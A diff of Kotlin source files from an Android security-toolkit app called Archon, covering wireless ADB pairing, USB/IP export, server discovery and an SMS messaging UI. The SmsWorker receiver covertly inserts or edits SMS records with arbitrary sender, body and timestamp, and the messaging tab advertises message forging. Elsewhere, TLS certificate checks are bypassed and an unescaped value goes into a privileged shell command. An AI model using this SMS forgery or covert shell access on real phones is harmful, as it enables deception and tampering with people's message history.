val cf = CertificateFactory.getInstance("X.509")
return cf.generateCertificate(ByteArrayInputStream(certDer))
}
// ── ASN.1 / DER helpers ──────────────────────────────────────
private fun derTag(tag: Int, content: ByteArray): ByteArray {
val out = ByteArrayOutputStream()
out.write(tag)
derWriteLength(out, content.size)
out.write(content)
return out.toByteArray()
}
private fun derWriteLength(out: ByteArrayOutputStream, length: Int) {
if (length < 0x80) {
out.write(length)
} else if (length < 0x100) {
out.write(0x81)
out.write(length)
} else if (length < 0x10000) {
out.write(0x82)
out.write(length shr 8)
out.write(length and 0xFF)
} else {
out.write(0x83)
out.write(length shr 16)
out.write((length shr 8) and 0xFF)
out.write(length and 0xFF)
}
}
private fun derSequence(vararg items: ByteArray): ByteArray {
val content = ByteArrayOutputStream()
for (item in items) content.write(item)
return derTag(0x30, content.toByteArray())
}
private fun derSet(vararg items: ByteArray): ByteArray {
val content = ByteArrayOutputStream()
for (item in items) content.write(item)
return derTag(0x31, content.toByteArray())
}
private fun derInteger(value: BigInteger): ByteArray {
val bytes = value.toByteArray()
return derTag(0x02, bytes)
}
private fun derOid(oidBytes: ByteArray): ByteArray {
return derTag(0x06, oidBytes)
}
private fun derNull(): ByteArray = byteArrayOf(0x05, 0x00)
private fun derUtf8String(s: String): ByteArray {
return derTag(0x0C, s.toByteArray(Charsets.UTF_8))
}
private fun derBitString(data: ByteArray): ByteArray {
val content = ByteArray(data.size + 1)
content[0] = 0 // no unused bits
System.arraycopy(data, 0, content, 1, data.size)
return derTag(0x03, content)
}
private fun derUtcTime(cal: Calendar): ByteArray {
val s = String.format(
"%02d%02d%02d%02d%02d%02dZ",
cal.get(Calendar.YEAR) % 100,
cal.get(Calendar.MONTH) + 1,
cal.get(Calendar.DAY_OF_MONTH),
cal.get(Calendar.HOUR_OF_DAY),
cal.get(Calendar.MINUTE),
cal.get(Calendar.SECOND)
)
return derTag(0x17, s.toByteArray(Charsets.US_ASCII))
}
private fun derExplicit(tag: Int, content: ByteArray): ByteArray {
return derTag(0xA0 or tag, content)
}
/**
* Discover the wireless debugging pairing port via mDNS.
*/
fun discoverPairingPort(context: Context, timeoutSec: Long = 15): Int? {
val foundPort = AtomicInteger(-1)
val latch = CountDownLatch(1)
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_PAIRING) { hostAddress, port ->
Log.i(TAG, "Found pairing service at $hostAddress:$port")
foundPort.set(port)
latch.countDown()
}
mdns.start()
latch.await(timeoutSec, TimeUnit.SECONDS)
mdns.stop()
val port = foundPort.get()
return if (port > 0) port else null
}
/**
* Pair with the device's wireless debugging service.
*/
fun pair(context: Context, host: String = LOCALHOST, port: Int, code: String): Boolean {
return try {
ensureKeyPair(context)
val manager = getOrCreateManager(context)
val success = manager.pair(host, port, code)
Log.i(TAG, "Pairing result: $success")
success
} catch (e: Exception) {
Log.e(TAG, "Pairing failed", e)
false
}
}
/**
* Discover the wireless debugging connect port via mDNS.
*/
fun discoverConnectPort(context: Context, timeoutSec: Long = 10): Int? {
val foundPort = AtomicInteger(-1)
val latch = CountDownLatch(1)
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_CONNECT) { hostAddress, port ->
Log.i(TAG, "Found connect service at $hostAddress:$port")
foundPort.set(port)
latch.countDown()
}
mdns.start()
latch.await(timeoutSec, TimeUnit.SECONDS)
mdns.stop()
val port = foundPort.get()
return if (port > 0) port else null
}
/**
* Connect to the device's wireless debugging ADB service.
*/
fun connect(context: Context, host: String = LOCALHOST, port: Int): Boolean {
return try {
val manager = getOrCreateManager(context)
val success = manager.connect(host, port)
connected.set(success)
if (success) connectedPort.set(port)
Log.i(TAG, "Connect result: $success (port=$port)")
success
} catch (e: Exception) {
Log.e(TAG, "Connect failed", e)
connected.set(false)
false
}
}
/**
* Auto-connect: discover port via mDNS and connect.
*/
fun autoConnect(context: Context): Boolean {
val port = discoverConnectPort(context) ?: return false
return connect(context, LOCALHOST, port)
}
/**
* Disconnect the current ADB session.
*/
fun disconnect() {
try {
connectionManager?.disconnect()
} catch (e: Exception) {
Log.w(TAG, "Disconnect error", e)
}
connected.set(false)
connectedPort.set(0)
}
/**
* Check if currently connected to an ADB session.
*/
fun isConnected(): Boolean = connected.get()
/**
* Execute a shell command via the local ADB connection.
*/
fun execute(command: String): ShellResult {
if (!connected.get()) {
return ShellResult("", "Not connected to local ADB", -1)
}
return try {
val manager = connectionManager ?: return ShellResult("", "No connection manager", -1)
val stream = manager.openStream("shell:$command")
val inputStream = stream.openInputStream()
val stdout = inputStream.bufferedReader().readText().trim()
stream.close()
ShellResult(stdout, "", 0)
} catch (e: Exception) {
Log.e(TAG, "Shell execute failed", e)
connected.set(false)
ShellResult("", "ADB shell error: ${e.message}", -1)
}
}
/**
* Check if we were previously paired (have keys stored).
*/
fun isPaired(context: Context): Boolean = hasKeyPair(context)
/**
* Get a human-readable status string.
*/
fun getStatusString(context: Context): String {
return when {
connected.get() -> "Connected (port ${connectedPort.get()})"
hasKeyPair(context) -> "Paired, not connected"
else -> "Not paired"
}
}
// ── Internal ──────────────────────────────────────────────────
private fun ensureKeyPair(context: Context) {
if (!hasKeyPair(context)) {
generateKeyPair(context)
}
}
private fun getOrCreateManager(context: Context): AbsAdbConnectionManager {
connectionManager?.let { return it }
ensureKeyPair(context)
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
val privateKeyBytes = Base64.decode(prefs.getString(KEY_PRIVATE, ""), Base64.NO_WRAP)
val certBytes = Base64.decode(prefs.getString(KEY_CERTIFICATE, ""), Base64.NO_WRAP)
val keySpec = PKCS8EncodedKeySpec(privateKeyBytes)
val privateKey = KeyFactory.getInstance("RSA").generatePrivate(keySpec)
val certFactory = CertificateFactory.getInstance("X.509")
val certificate = certFactory.generateCertificate(ByteArrayInputStream(certBytes))
val manager = object : AbsAdbConnectionManager() {
override fun getPrivateKey(): PrivateKey = privateKey
override fun getCertificate(): Certificate = certificate
override fun getDeviceName(): String = "archon_${Build.MODEL}"
}
manager.setApi(Build.VERSION.SDK_INT)
manager.setHostAddress(LOCALHOST)
connectionManager = manager
return manager
}
}

View File

@@ -0,0 +1,216 @@
package com.darkhal.archon.service
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.os.Build
import android.util.Log
import androidx.core.app.NotificationCompat
import androidx.core.app.RemoteInput
import com.darkhal.archon.R
import com.darkhal.archon.server.ArchonClient
/**
* Handles the pairing code entered via notification inline reply.
*
* Flow (like Shizuku):
* 1. User taps "START PAIRING" in Setup
* 2. App shows notification with text input for pairing code
* 3. User opens Developer Options > Wireless Debugging > Pair with code
* 4. User pulls down notification shade and enters the 6-digit code
* 5. This receiver auto-detects port, pairs, connects, starts ArchonServer
*/
class PairingReceiver : BroadcastReceiver() {
companion object {
private const val TAG = "PairingReceiver"
const val ACTION_PAIR = "com.darkhal.archon.ACTION_PAIR"
const val KEY_PAIRING_CODE = "pairing_code"
const val NOTIFICATION_ID = 42
const val CHANNEL_ID = "archon_pairing"
/**
* Show the pairing notification with inline text input.
*/
fun showPairingNotification(context: Context) {
createChannel(context)
val replyIntent = Intent(ACTION_PAIR).apply {
setPackage(context.packageName)
}
val replyPending = PendingIntent.getBroadcast(
context, 0, replyIntent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE
)
val remoteInput = RemoteInput.Builder(KEY_PAIRING_CODE)
.setLabel("6-digit pairing code")
.build()
val action = NotificationCompat.Action.Builder(
R.drawable.ic_archon,
"Enter pairing code",
replyPending
)
.addRemoteInput(remoteInput)
.build()
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
.setSmallIcon(R.drawable.ic_archon)
.setContentTitle("Archon — Wireless Debugging Pairing")
.setContentText("Open Settings > Developer Options > Wireless Debugging > Pair with code")
.setStyle(NotificationCompat.BigTextStyle()
.bigText("1. Open Settings > Developer Options\n" +
"2. Enable Wireless Debugging\n" +
"3. Tap 'Pair with pairing code'\n" +
"4. Enter the 6-digit code below"))
.addAction(action)
.setOngoing(true)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setAutoCancel(false)
.build()
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.notify(NOTIFICATION_ID, notification)
}
/**
* Update the notification with a status message (no input).
*/
fun updateNotification(context: Context, message: String, ongoing: Boolean = false) {
createChannel(context)
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
.setSmallIcon(R.drawable.ic_archon)
.setContentTitle("Archon Pairing")
.setContentText(message)
.setOngoing(ongoing)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setAutoCancel(!ongoing)
.build()
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.notify(NOTIFICATION_ID, notification)
}
/**
* Dismiss the pairing notification.
*/
fun dismissNotification(context: Context) {
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.cancel(NOTIFICATION_ID)
}
private fun createChannel(context: Context) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val channel = NotificationChannel(
CHANNEL_ID,
"Wireless Debugging Pairing",
NotificationManager.IMPORTANCE_HIGH
).apply {
description = "Used for entering the wireless debugging pairing code"
}
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
nm.createNotificationChannel(channel)
}
}
}
override fun onReceive(context: Context, intent: Intent) {
if (intent.action != ACTION_PAIR) return
val remoteInput = RemoteInput.getResultsFromIntent(intent)
val code = remoteInput?.getCharSequence(KEY_PAIRING_CODE)?.toString()?.trim()
if (code.isNullOrEmpty()) {
updateNotification(context, "No code entered — try again")
showPairingNotification(context)
return
}
Log.i(TAG, "Received pairing code: $code")
updateNotification(context, "Pairing with code $code...", ongoing = true)
// Run pairing in background thread
Thread {
try {
// Auto-detect pairing port
Log.i(TAG, "Discovering pairing port...")
val port = LocalAdbClient.discoverPairingPort(context)
if (port == null) {
Log.w(TAG, "Could not find pairing port")
updateNotification(context, "Failed: no pairing port found. Is the Pair dialog still open?")
Thread.sleep(3000)
showPairingNotification(context)
return@Thread
}
Log.i(TAG, "Found pairing port: $port, pairing...")
updateNotification(context, "Found port $port, pairing...", ongoing = true)
val success = LocalAdbClient.pair(context, "127.0.0.1", port, code)
if (!success) {
Log.w(TAG, "Pairing failed")
updateNotification(context, "Pairing failed — wrong code or port changed. Try again.")
Thread.sleep(3000)
showPairingNotification(context)
return@Thread
}
Log.i(TAG, "Paired! Waiting for connect service...")
updateNotification(context, "Paired! Waiting for ADB connect service...", ongoing = true)
// Wait for wireless debugging to register the connect service after pairing
Thread.sleep(2000)
// Try to discover and connect with retries
var connectSuccess = false
for (attempt in 1..3) {
Log.i(TAG, "Connect attempt $attempt/3...")
updateNotification(context, "Connecting (attempt $attempt/3)...", ongoing = true)
val connectPort = LocalAdbClient.discoverConnectPort(context, timeoutSec = 8)
if (connectPort != null) {
Log.i(TAG, "Found connect port: $connectPort")
connectSuccess = LocalAdbClient.connect(context, "127.0.0.1", connectPort)
if (connectSuccess) {
Log.i(TAG, "Connected on port $connectPort")
break
}
Log.w(TAG, "Connect failed on port $connectPort")
} else {
Log.w(TAG, "mDNS connect discovery failed (attempt $attempt)")
}
if (attempt < 3) Thread.sleep(2000)
}
if (!connectSuccess) {
Log.w(TAG, "All connect attempts failed")
updateNotification(context, "Paired but connect failed. Open Setup tab and tap START SERVER.", ongoing = false)
return@Thread
}
// Try to start ArchonServer
updateNotification(context, "Connected! Starting Archon Server...", ongoing = true)
val result = ArchonClient.startServer(context)
val msg = if (result.success) {
"Paired + connected + Archon Server running!"
} else {
"Paired + connected! Server: ${result.message}"
}
Log.i(TAG, msg)
updateNotification(context, msg, ongoing = false)
} catch (e: Exception) {
Log.e(TAG, "Pairing error", e)
updateNotification(context, "Error: ${e.message}")
}
}.start()
}
}

View File

@@ -0,0 +1,130 @@
package com.darkhal.archon.service
import android.content.BroadcastReceiver
import android.content.ContentValues
import android.content.Context
import android.content.Intent
import android.net.Uri
import android.util.Log
import java.io.File
/**
* Handles covert SMS insert/update from ADB shell broadcasts.
*
* Flow:
* 1. Python backend sets Archon as default SMS app via `cmd role`
* 2. Sends: am broadcast -a com.darkhal.archon.SMS_INSERT -n .../.service.SmsWorker --es address ... --es body ...
* 3. This receiver does ContentResolver.insert() at Archon's UID (which is now the default SMS app)
* 4. Writes result to files/sms_result.txt
* 5. Python reads result via `run-as com.darkhal.archon cat files/sms_result.txt`
* 6. Python restores original default SMS app
*/
class SmsWorker : BroadcastReceiver() {
companion object {
private const val TAG = "SmsWorker"
const val ACTION_INSERT = "com.darkhal.archon.SMS_INSERT"
const val ACTION_UPDATE = "com.darkhal.archon.SMS_UPDATE"
const val RESULT_FILE = "sms_result.txt"
}
override fun onReceive(context: Context, intent: Intent) {
val action = intent.action ?: return
val resultFile = File(context.filesDir, RESULT_FILE)
try {
when (action) {
ACTION_INSERT -> handleInsert(context, intent, resultFile)
ACTION_UPDATE -> handleUpdate(context, intent, resultFile)
else -> resultFile.writeText("ERROR:Unknown action $action")
}
} catch (e: Exception) {
Log.e(TAG, "SMS operation failed", e)
resultFile.writeText("ERROR:${e.message}")
}
}
private fun handleInsert(context: Context, intent: Intent, resultFile: File) {
val address = intent.getStringExtra("address") ?: run {
resultFile.writeText("ERROR:No address"); return
}
val body = intent.getStringExtra("body") ?: run {
resultFile.writeText("ERROR:No body"); return
}
val values = ContentValues().apply {
put("address", address)
put("body", body)
put("date", intent.getLongExtra("date", System.currentTimeMillis()))
put("type", intent.getIntExtra("type", 1))
put("read", intent.getIntExtra("read", 1))
put("seen", 1)
}
val uri = context.contentResolver.insert(Uri.parse("content://sms/"), values)
if (uri != null) {
Log.i(TAG, "SMS inserted: $uri")
resultFile.writeText("SUCCESS:$uri")
} else {
Log.w(TAG, "SMS insert returned null")
resultFile.writeText("FAIL:provider returned null")
}
}
private fun handleUpdate(context: Context, intent: Intent, resultFile: File) {
val smsId = intent.getStringExtra("id") ?: run {
resultFile.writeText("ERROR:No SMS id"); return
}
val values = ContentValues()
intent.getStringExtra("body")?.let { values.put("body", it) }
intent.getStringExtra("address")?.let { values.put("address", it) }
if (intent.hasExtra("type")) values.put("type", intent.getIntExtra("type", 1))
if (intent.hasExtra("read")) values.put("read", intent.getIntExtra("read", 1))
if (intent.hasExtra("date")) values.put("date", intent.getLongExtra("date", 0))
if (values.size() == 0) {
resultFile.writeText("ERROR:Nothing to update"); return
}
val count = context.contentResolver.update(
Uri.parse("content://sms/$smsId"), values, null, null
)
Log.i(TAG, "SMS update: $count rows affected for id=$smsId")
resultFile.writeText("SUCCESS:updated=$count")
}
}
// ── SMS Role stubs ──────────────────────────────────────────────
// These are required for Android to accept Archon as a valid SMS role holder.
// They don't need to do anything — they just need to exist and be declared
// in the manifest with the correct intent filters and permissions.
/** Stub: receives incoming SMS when we're temporarily the default SMS app. */
class SmsDeliverReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
// Intentionally empty — we only hold the SMS role briefly for inserts
}
}
/** Stub: receives incoming MMS when we're temporarily the default SMS app. */
class MmsDeliverReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
// Intentionally empty
}
}
/** Stub: "respond via message" service required for SMS role. */
class RespondViaMessageService : android.app.Service() {
override fun onBind(intent: Intent?): android.os.IBinder? = null
}
/** Stub: SMS compose activity required for SMS role. Immediately finishes. */
class SmsComposeActivity : android.app.Activity() {
override fun onCreate(savedInstanceState: android.os.Bundle?) {
super.onCreate(savedInstanceState)
finish()
}
}

View File

@@ -0,0 +1,97 @@
package com.darkhal.archon.service
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.ShellResult
data class UsbDevice(
val busId: String,
val description: String
)
object UsbIpManager {
private const val USBIPD_PROCESS = "usbipd"
/**
* Start USB/IP daemon to export this device's USB gadget over the network.
*/
fun startExport(): ShellResult {
return PrivilegeManager.execute("usbipd -D")
}
/**
* Stop the USB/IP daemon.
*/
fun stopExport(): ShellResult {
return PrivilegeManager.execute("killall $USBIPD_PROCESS")
}
/**
* Check if usbipd is currently running.
*/
fun isExporting(): Boolean {
val result = ShellExecutor.execute("pidof $USBIPD_PROCESS")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
/**
* Check if the usbip binary is available on this device.
*/
fun isAvailable(): Boolean {
val result = ShellExecutor.execute("which usbip || which usbipd")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
/**
* List local USB devices that can be exported.
*/
fun listLocalDevices(): List<UsbDevice> {
val result = PrivilegeManager.execute("usbip list -l")
if (result.exitCode != 0) return emptyList()
val devices = mutableListOf<UsbDevice>()
val lines = result.stdout.lines()
for (line in lines) {
val match = Regex("""busid\s+(\S+)\s+\(([^)]+)\)""").find(line)
if (match != null) {
val busId = match.groupValues[1]
val desc = match.groupValues[2]
devices.add(UsbDevice(busId, desc))
}
}
return devices
}
/**
* Bind a local USB device for export.
*/
fun bindDevice(busId: String): ShellResult {
return PrivilegeManager.execute("usbip bind -b $busId")
}
/**
* Unbind a local USB device from export.
*/
fun unbindDevice(busId: String): ShellResult {
return PrivilegeManager.execute("usbip unbind -b $busId")
}
/**
* Get combined USB/IP status.
*/
fun getStatus(): Map<String, Any> {
val available = isAvailable()
val exporting = if (available) isExporting() else false
val devices = if (available) listLocalDevices() else emptyList()
return mapOf(
"available" to available,
"exporting" to exporting,
"device_count" to devices.size,
"devices" to devices.map { mapOf("bus_id" to it.busId, "description" to it.description) }
)
}
}

View File

@@ -0,0 +1,278 @@
package com.darkhal.archon.ui
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.service.DiscoveryManager
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.SslHelper
import com.google.android.material.button.MaterialButton
import java.net.HttpURLConnection
import java.net.URL
class DashboardFragment : Fragment() {
private lateinit var privilegeStatusDot: View
private lateinit var privilegeStatusText: TextView
private lateinit var serverStatusDot: View
private lateinit var serverStatusText: TextView
private lateinit var wgStatusDot: View
private lateinit var wgStatusText: TextView
private lateinit var outputLog: TextView
// Discovery
private lateinit var discoveryStatusDot: View
private lateinit var discoveryStatusText: TextView
private lateinit var discoveryMethodText: TextView
private lateinit var btnDiscover: MaterialButton
private var discoveryManager: DiscoveryManager? = null
private val handler = Handler(Looper.getMainLooper())
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_dashboard, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
// Bind views
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
serverStatusDot = view.findViewById(R.id.server_status_dot)
serverStatusText = view.findViewById(R.id.server_status_text)
wgStatusDot = view.findViewById(R.id.wg_status_dot)
wgStatusText = view.findViewById(R.id.wg_status_text)
outputLog = view.findViewById(R.id.output_log)
// Discovery views
discoveryStatusDot = view.findViewById(R.id.discovery_status_dot)
discoveryStatusText = view.findViewById(R.id.discovery_status_text)
discoveryMethodText = view.findViewById(R.id.discovery_method_text)
btnDiscover = view.findViewById(R.id.btn_discover)
setupDiscovery()
// Initialize PrivilegeManager and check available methods
val ctx = requireContext()
PrivilegeManager.init(ctx, PrefsManager.getServerIp(ctx), PrefsManager.getWebPort(ctx))
Thread {
val method = PrivilegeManager.getAvailableMethod()
handler.post {
val hasPrivilege = method != PrivilegeManager.Method.NONE
setStatusDot(privilegeStatusDot, hasPrivilege)
privilegeStatusText.text = "Privilege: ${method.label}"
appendLog("Privilege: ${method.label}")
refreshServerStatus()
}
}.start()
// Auto-discover server on launch
startDiscovery()
}
private fun refreshServerStatus() {
Thread {
val serverIp = PrefsManager.getServerIp(requireContext())
val webPort = PrefsManager.getWebPort(requireContext())
// Check WireGuard tunnel
val wgResult = ShellExecutor.execute("ip addr show wg0 2>/dev/null")
val wgUp = wgResult.exitCode == 0 && wgResult.stdout.contains("inet ")
// Check if AUTARCH server is reachable
val serverReachable = if (serverIp.isNotEmpty()) {
probeServer(serverIp, webPort)
} else {
false
}
handler.post {
// WireGuard
setStatusDot(wgStatusDot, wgUp)
wgStatusText.text = if (wgUp) "WireGuard: connected" else "WireGuard: not active"
// Server
if (serverIp.isEmpty()) {
setStatusDot(serverStatusDot, false)
serverStatusText.text = "Server: not configured — tap SCAN or set in Settings"
} else if (serverReachable) {
setStatusDot(serverStatusDot, true)
serverStatusText.text = "Server: $serverIp:$webPort (connected)"
} else {
setStatusDot(serverStatusDot, false)
serverStatusText.text = "Server: $serverIp:$webPort (unreachable)"
}
}
}.start()
}
private fun probeServer(ip: String, port: Int): Boolean {
return try {
val url = URL("https://$ip:$port/")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 3000
conn.readTimeout = 3000
conn.requestMethod = "GET"
conn.instanceFollowRedirects = true
val code = conn.responseCode
conn.disconnect()
code in 200..399
} catch (e: Exception) {
false
}
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(20)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
// ── Discovery ────────────────────────────────────────────────
private fun setupDiscovery() {
discoveryManager = DiscoveryManager(requireContext())
discoveryManager?.listener = object : DiscoveryManager.Listener {
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
val method = when (server.method) {
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
}
setStatusDot(discoveryStatusDot, true)
discoveryStatusText.text = "Found: ${server.hostname}"
discoveryMethodText.text = "via $method"
appendLog("Discovered AUTARCH via $method")
if (server.ip.isNotEmpty() && server.port > 0) {
PrefsManager.setServerIp(requireContext(), server.ip)
PrefsManager.setWebPort(requireContext(), server.port)
appendLog("Auto-configured: ${server.ip}:${server.port}")
// Update PrivilegeManager with new server info
PrivilegeManager.setServerConnection(server.ip, server.port)
refreshServerStatus()
}
}
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {
appendLog("Scanning: ${method.name}...")
}
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
if (discoveryManager?.getDiscoveredServers()?.isEmpty() == true) {
appendLog("No mDNS/BT response — trying HTTP probe...")
probeLocalSubnet()
}
btnDiscover.isEnabled = true
btnDiscover.text = "SCAN"
}
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {
appendLog("${method.name}: $error")
}
}
btnDiscover.setOnClickListener {
startDiscovery()
}
}
private fun startDiscovery() {
setStatusDot(discoveryStatusDot, false)
discoveryStatusText.text = "Scanning network..."
discoveryMethodText.text = "mDNS / Wi-Fi Direct / Bluetooth / HTTP"
btnDiscover.isEnabled = false
btnDiscover.text = "SCANNING..."
discoveryManager?.startDiscovery()
}
private fun probeLocalSubnet() {
Thread {
val port = PrefsManager.getWebPort(requireContext())
val routeResult = ShellExecutor.execute("ip route show default 2>/dev/null")
val gateway = routeResult.stdout.split(" ").let { parts ->
val idx = parts.indexOf("via")
if (idx >= 0 && idx + 1 < parts.size) parts[idx + 1] else null
}
if (gateway == null) {
handler.post {
discoveryStatusText.text = "No AUTARCH server found"
discoveryMethodText.text = "Set server IP in Settings tab"
}
return@Thread
}
val base = gateway.substringBeforeLast(".") + "."
appendLogOnUi("Probing ${base}x on port $port...")
val candidates = mutableListOf<String>()
candidates.add(gateway)
for (i in 1..30) {
val ip = "$base$i"
if (ip != gateway) candidates.add(ip)
}
candidates.addAll(listOf("${base}100", "${base}200", "${base}254"))
val savedIp = PrefsManager.getServerIp(requireContext())
if (savedIp.isNotEmpty() && !savedIp.startsWith("10.1.0.")) {
candidates.add(0, savedIp)
}
for (ip in candidates) {
if (probeServer(ip, port)) {
handler.post {
PrefsManager.setServerIp(requireContext(), ip)
setStatusDot(discoveryStatusDot, true)
discoveryStatusText.text = "Found: AUTARCH"
discoveryMethodText.text = "via HTTP probe ($ip)"
appendLog("Found AUTARCH at $ip:$port (HTTP)")
PrivilegeManager.setServerConnection(ip, port)
refreshServerStatus()
}
return@Thread
}
}
handler.post {
discoveryStatusText.text = "No AUTARCH server found"
discoveryMethodText.text = "Set server IP in Settings tab"
appendLog("HTTP probe: no server found on $base* :$port")
}
}.start()
}
private fun appendLogOnUi(msg: String) {
handler.post { appendLog(msg) }
}
override fun onDestroyView() {
super.onDestroyView()
discoveryManager?.stopDiscovery()
}
}

View File

@@ -0,0 +1,61 @@
package com.darkhal.archon.ui
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.util.PrefsManager
class LinksFragment : Fragment() {
private data class LinkItem(
val cardId: Int,
val path: String
)
private val links = listOf(
LinkItem(R.id.card_dashboard, "/dashboard"),
LinkItem(R.id.card_wireguard, "/wireguard"),
LinkItem(R.id.card_shield, "/android-protect"),
LinkItem(R.id.card_hardware, "/hardware"),
LinkItem(R.id.card_wireshark, "/wireshark"),
LinkItem(R.id.card_osint, "/osint"),
LinkItem(R.id.card_defense, "/defense"),
LinkItem(R.id.card_offense, "/offense"),
LinkItem(R.id.card_settings, "/settings")
)
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_links, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
val baseUrl = PrefsManager.getAutarchBaseUrl(requireContext())
// Update server URL label
view.findViewById<TextView>(R.id.server_url_label).text = "Server: $baseUrl"
// Set up click listeners for all link cards
for (link in links) {
view.findViewById<View>(link.cardId)?.setOnClickListener {
openUrl("$baseUrl${link.path}")
}
}
}
private fun openUrl(url: String) {
val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url))
startActivity(intent)
}
}

View File

@@ -0,0 +1,761 @@
package com.darkhal.archon.ui
import android.app.DatePickerDialog
import android.app.TimePickerDialog
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.CheckBox
import android.widget.PopupMenu
import android.widget.TextView
import android.widget.Toast
import androidx.appcompat.app.AlertDialog
import androidx.fragment.app.Fragment
import androidx.recyclerview.widget.LinearLayoutManager
import androidx.recyclerview.widget.RecyclerView
import com.darkhal.archon.R
import com.darkhal.archon.messaging.ConversationAdapter
import com.darkhal.archon.messaging.MessageAdapter
import com.darkhal.archon.messaging.MessagingModule
import com.darkhal.archon.messaging.MessagingRepository
import com.darkhal.archon.messaging.ShizukuManager
import com.darkhal.archon.module.ModuleManager
import com.google.android.material.button.MaterialButton
import com.google.android.material.card.MaterialCardView
import com.google.android.material.floatingactionbutton.FloatingActionButton
import com.google.android.material.textfield.TextInputEditText
import java.text.SimpleDateFormat
import java.util.Calendar
import java.util.Date
import java.util.Locale
/**
* SMS/RCS Messaging tab — full messaging UI with conversation list and thread view.
*
* Two views:
* 1. Conversation list — shows all threads with contact, snippet, date, unread count
* 2. Message thread — shows messages as chat bubbles with input bar
*
* Features:
* - Search across all messages
* - Set/restore default SMS app
* - Export conversations (XML/CSV)
* - Forge messages with arbitrary sender/timestamp
* - Edit/delete messages via long-press context menu
* - Shizuku status indicator
*/
class MessagingFragment : Fragment() {
// Views — Conversation list
private lateinit var conversationListContainer: View
private lateinit var recyclerConversations: RecyclerView
private lateinit var emptyState: TextView
private lateinit var shizukuDot: View
private lateinit var btnSearch: MaterialButton
private lateinit var btnDefaultSms: MaterialButton
private lateinit var btnTools: MaterialButton
private lateinit var searchBar: View
private lateinit var inputSearch: TextInputEditText
private lateinit var btnSearchGo: MaterialButton
private lateinit var btnSearchClose: MaterialButton
private lateinit var fabNewMessage: FloatingActionButton
// Views — Thread
private lateinit var threadViewContainer: View
private lateinit var recyclerMessages: RecyclerView
private lateinit var threadContactName: TextView
private lateinit var threadAddress: TextView
private lateinit var btnBack: MaterialButton
private lateinit var btnThreadExport: MaterialButton
private lateinit var inputMessage: TextInputEditText
private lateinit var btnSend: MaterialButton
// Views — Output log
private lateinit var outputLogCard: MaterialCardView
private lateinit var outputLog: TextView
private lateinit var btnCloseLog: MaterialButton
// Data
private lateinit var repo: MessagingRepository
private lateinit var shizuku: ShizukuManager
private lateinit var conversationAdapter: ConversationAdapter
private lateinit var messageAdapter: MessageAdapter
private val handler = Handler(Looper.getMainLooper())
// State
private var currentThreadId: Long = -1
private var currentAddress: String = ""
private var isDefaultSms: Boolean = false
// Forge dialog state
private var forgeCalendar: Calendar = Calendar.getInstance()
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_messaging, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
